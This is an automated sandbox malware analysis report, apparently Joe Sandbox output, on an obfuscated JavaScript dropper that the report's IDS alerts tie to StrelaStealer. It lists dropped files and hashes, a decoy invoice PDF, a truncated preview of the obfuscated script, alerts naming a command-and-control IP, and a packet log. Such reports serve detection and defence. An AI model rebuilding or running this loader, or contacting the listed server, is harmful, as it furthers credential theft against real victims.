Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d82cc983-6ea8-4d45-a6e0-4e2c7135ddf1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e9ed6491-585c-44ca-a3d6-21e86025fa51.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17059), with CRLF line terminators
Entropy (8bit):	4.900971505904261
TrID:
File name:	23742400475728052.js
File size:	20'480 bytes
MD5:	af30d1a974dbc4186ae38347d3c8e04c
SHA1:	ad028505572d066401b56cada9275e76b252ac7b
SHA256:	070cd13345202f145af9972bee5ace73025f41a4f1dbef313fbd7f1c4b4aac97
SHA512:	647adf5d55e599c1ae3895ee1a03786a88116ba373cdc24db0b9ccff6674f429fbacba4870e4dc5c598c602700eff8e5cb650ac5d312c5501414d3c5e0b6f692
SSDEEP:	384:6dZsuevjCaYmEIAl6KnqyyTKKnlPhlCXHRhB9:6dZsuebCa1+//yTLsXHRl
TLSH:	1692225CC9D446766BCCE5F4292B1AF339B4039B453DA4B024A08A84B714FFCB1E76B6
File Content Preview:	function cvwym(){cxgsvtrt=[1031,3079,5127,4103,2055,3072];var vomqvyczv=this[eibekm+jvxwmza+amfbmv+zrfvdh+geqjjurw+ehjwh+vtmptq+jlhkq](this[nboeqozt+mzgzscpd+cadckkyld+amfbmv+siijmzz+eibekm+jlhkq][cuktjrzf+amfbmv+geqjjurw+jvxwmza+jlhkq+geqjjurw+gsuujibd+o

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:31:28.845572+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49720	193.143.1.205	80	TCP
2025-01-11T07:31:28.845572+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49720	193.143.1.205	80	TCP
2025-01-11T07:31:31.529038+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49737	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:31:28.012275934 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.017175913 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.017276049 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.021533012 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.026269913 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845228910 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845268965 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845571995 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.845588923 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845624924 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845659971 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845675945 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.845695019 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845731020 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845763922 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845778942 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.845801115 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845808029 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.845838070 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.845885038 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.850720882 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.900299072 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.900333881 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.900552988 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.950916052 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.986599922 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986643076 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986680984 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986702919 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.986717939 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986753941 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986803055 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986823082 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.986838102 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986872911 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.986879110 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.986996889 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.987344980 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.987380981 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.987416029 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.987461090 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.987699986 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.987730026 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.987754107 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.987960100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.987993956 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988004923 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.988029003 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988065004 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988105059 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988118887 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.988146067 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.988823891 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988857985 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988893032 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988925934 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:28.988940954 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:28.988970995 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.021970987 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.022001982 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.022079945 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.036787987 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.036842108 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.036946058 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.087305069 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.087367058 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.087400913 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.087450027 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.110939026 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.110955954 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111021042 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111031055 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111058950 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.111068010 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111090899 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111102104 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111105919 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.111126900 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.111430883 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111443996 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111457109 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111701965 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111712933 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111726999 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111737013 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.111839056 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.112042904 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112062931 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112075090 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112145901 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.112418890 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112431049 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112443924 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112449884 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.112484932 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112498045 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112509966 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112523079 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.112659931 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.113168955 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113214970 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.113219976 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113233089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113245010 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113276958 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.113357067 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113369942 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113383055 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.113442898 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.113442898 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.114012957 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114025116 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114037991 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114048958 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114059925 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114097118 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.114535093 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114547968 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114558935 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114573956 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114583969 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114588976 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.114592075 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.114628077 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.115207911 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.115266085 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.115437984 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.146601915 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.146655083 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.146694899 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.146732092 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.146737099 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.146766901 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.146770954 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.150371075 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.178275108 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.178333044 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.178400993 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.212238073 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.212286949 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.212308884 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.212346077 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.212385893 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.212389946 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.212423086 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.236587048 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236634016 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236671925 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236795902 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.236829996 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236865997 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236895084 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.236901045 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236932993 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.236937046 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236973047 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.236975908 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.237092018 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237123966 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237143993 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.237243891 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237278938 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237292051 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.237332106 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237365007 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237375975 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.237401009 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237435102 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237442970 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.237471104 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237507105 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.237509966 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.238230944 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238281012 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238301039 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.238317013 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238349915 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238359928 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.238384962 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238418102 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238425016 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.238847017 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238881111 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238886118 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.238934040 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238969088 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.238976955 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.239005089 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.239038944 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.239044905 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.239075899 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.239111900 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.239115000 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.239923954 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.239958048 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.239970922 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.239994049 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240026951 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240032911 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.240065098 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240101099 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240108967 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.240137100 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240171909 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240180969 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.240854025 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240888119 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240899086 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.240922928 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240956068 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.240963936 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.240992069 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241024971 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241029978 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.241060019 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241095066 CET	80	49720	193.143.1.205	192.168.2.10
Jan 11, 2025 07:31:29.241099119 CET	49720	80	192.168.2.10	193.143.1.205
Jan 11, 2025 07:31:29.241733074 CET	80	49720	193.143.1.205	192.168.2.10
